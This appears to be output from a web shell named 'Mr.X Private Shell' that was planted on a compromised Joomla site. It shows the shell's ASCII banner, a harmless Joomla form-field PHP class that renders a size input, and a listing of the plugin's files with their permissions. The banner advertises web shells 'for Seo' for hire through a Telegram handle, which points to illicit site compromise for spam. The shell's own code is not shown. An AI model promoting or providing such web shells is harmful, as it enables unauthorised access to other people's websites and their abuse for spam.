__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
*
* @version See field version manifest file
* @package See field name manifest file
* @author Gregorio Nuti
* @copyright See field copyright manifest file
* @license GNU General Public License version 2 or later
*
*/
// no direct access
defined('_JEXEC') or die;
// define ds variable for joomla 3 compatibility
if(!defined('DS')) define('DS', DIRECTORY_SEPARATOR);
jimport('joomla.form.formfield');
class JFormFieldSize extends JFormField {
protected $type = 'Size';
protected function getInput() {
// General variables
$document = JFactory::getDocument();
$joomlaVersion = JVERSION;
// specific styles based on joomla version
if (version_compare($joomlaVersion, "4.0.0", ">=")) {
} else {
$document->addStyleDeclaration('
.input-group span.px, .input-group span.percent {
background-color: transparent;
margin-left: 7px;
font-size: 15px;
}
');
}
// assign the default data
$type = 'number';
$class = '';
// check if input has a class
if ($this->element['class']) {
// get input class
$class .= $this->element['class'];
// check if input should be number or text
if (($class == 'padding') || ($class == 'margin')) {
$type = 'text';
}
}
// get input number data
if ($type == 'number') {
$min = '';
$max = '';
$step = '';
if ($this->element['min']) {
$min = $this->element['min'];
}
if ($this->element['max']) {
$max = $this->element['max'];
}
if ($this->element['step']) {
$step = $this->element['step'];
}
}
// generate input html
$html = '<div class="input-group">';
$html .= '<input type="'.$type.'"
'.($type == 'number' ? ($min ? 'min="'.$this->element['min'].'"' : '') : '').'
'.($type == 'number' ? ($max ? 'max="'.$this->element['max'].'"' : '') : '').'
'.($type == 'number' ? ($step ? 'step="'.$this->element['step'].'"' : '') : '').'
'.($class ? 'class="form-control input-'.$this->element['class'].'"' : 'class="form-control"').'
name="'.$this->name.'"
id="'.$this->id.'"
value="'.htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8').'">';
// generate unit measurement label
if ($this->element['extension'] == 'px') {
$html .= '<span class="input-group-text px">px</span>';
} else if($this->element['extension'] == 'percent') {
$html .= '<span class="input-group-text percent">%</span>';
}
$html .= '</div>';
return $html;
}
}
?>| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| asset.php | File | 1.33 KB | 0664 |
|
| buttons.php | File | 4.78 KB | 0664 |
|
| digishowcaseadv.php | File | 5.87 KB | 0664 |
|
| digishowcaseeds.php | File | 5.37 KB | 0664 |
|
| digishowcasewizard.php | File | 18.02 KB | 0664 |
|
| digishowcasextd.php | File | 5.2 KB | 0664 |
|
| donation.php | File | 7.56 KB | 0664 |
|
| interval.php | File | 2.68 KB | 0664 |
|
| size.php | File | 2.81 KB | 0664 |
|
| support.php | File | 4.39 KB | 0664 |
|
| textareacsv.php | File | 5.39 KB | 0664 |
|
| xml.php | File | 3.03 KB | 0664 |
|